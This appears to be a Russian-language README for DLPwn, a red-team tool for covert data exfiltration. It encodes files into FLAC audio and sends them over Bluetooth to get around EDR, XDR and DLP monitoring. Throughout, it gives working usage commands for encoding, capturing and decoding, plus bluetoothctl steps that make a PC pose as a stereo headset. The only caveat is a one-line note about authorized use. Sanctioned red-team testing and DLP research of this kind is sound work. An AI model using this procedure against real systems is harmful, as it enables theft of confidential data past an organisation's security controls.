
Инструмент Red Team для скрытой выгрузки файлов через передачу аудио по Bluetooth, кодирующий двоичные данные в сигналы FLAC для обхода систем безопасности EDR, XDR и DLP.
Предотвращение утечки данных через Bluetooth-колонку
DLPwn — это инструмент Red Team, предназначенный для эксфильтрации файлов в обход систем безопасности, таких как EDR (Endpoint Detection and Response), XDR (Extended Detection and Response), DLP (Data Loss Prevention) и, в более широком смысле, любых изолированных информационных систем. Он использует передачу аудио через Bluetooth для кодирования произвольных файлов в аудиосигналы FLAC, их передачи и декодирования на другой стороне, используя тот факт, что меры безопасности аудиоканала часто менее строги, чем меры для сетей или файлов.
DLPwn работает в три основных этапа:
Такой подход позволяет извлекать конфиденциальные данные, не вызывая срабатывания сигналов тревоги от систем безопасности, отслеживающих сетевые подключения, записи на диск или подозрительные процессы.
DLPwn использует протокол передачи аудио, основанный на:
Каждый файл фрагментируется на кадры размером до 212 байт, при этом метаданные содержат имя файла.
DLPwn включает систему метрик QoS для оценки качества передачи:
Это позволяет оптимизировать параметры передачи (скорость передачи символов, количество тонов) в зависимости от условий аудиоканала.
pip install -r requirements.txt
python main.py encode myfile.bin --output transmission.flac
Воспроизведите FLAC на Bluetooth-колонке, затем захватите на другой машине:
python main.py bluetooth --filename capture.flac
Примечание: Настройка Bluetooth (только Linux)
Команда bluetooth работает только в системах Linux, использующих PulseAudio или PipeWire для захвата аудио через Bluetooth. Чтобы ПК распознавался исходным устройством как Bluetooth-гарнитура:
Установите bluetoothctl, если необходимо:
sudo apt install bluez-tools
Запустите bluetoothctl и настройте ClassID, чтобы имитировать аудиогарнитуру:
bluetoothctl
> power on
> discoverable on
> pairable on
> class 0x240404 # Class for stereo audio headset
> quit
Это позволяет исходному устройству (телефону, ПК) подключаться к ПК как к Bluetooth-гарнитуре, обеспечивая захват аудио через PulseAudio.
Или для захвата в реальном времени:
python main.py decode --loopback --duration 35 --output recovered.bin
python main.py decode --input capture.flac --output recovered.bin
Чтобы воспроизвести, захватить и декодировать одной командой:
python main.py stream transmission.flac --output recovered.bin
--baud: Скорость передачи символов (по умолчанию 1500).--m: Количество тонов FSK (2, 4 или 8).--rs-nsym: Байты четности RS (по умолчанию 32).--f0, --f1: Базовые частоты.Для анализа файла передачи:
python diagnose.py transmission.flac
В сценарии Red Team DLPwn позволяет:
Предупреждение: Используйте только в авторизованных средах. Аудиопередача может быть обнаружена окружающими камерами или микрофонами.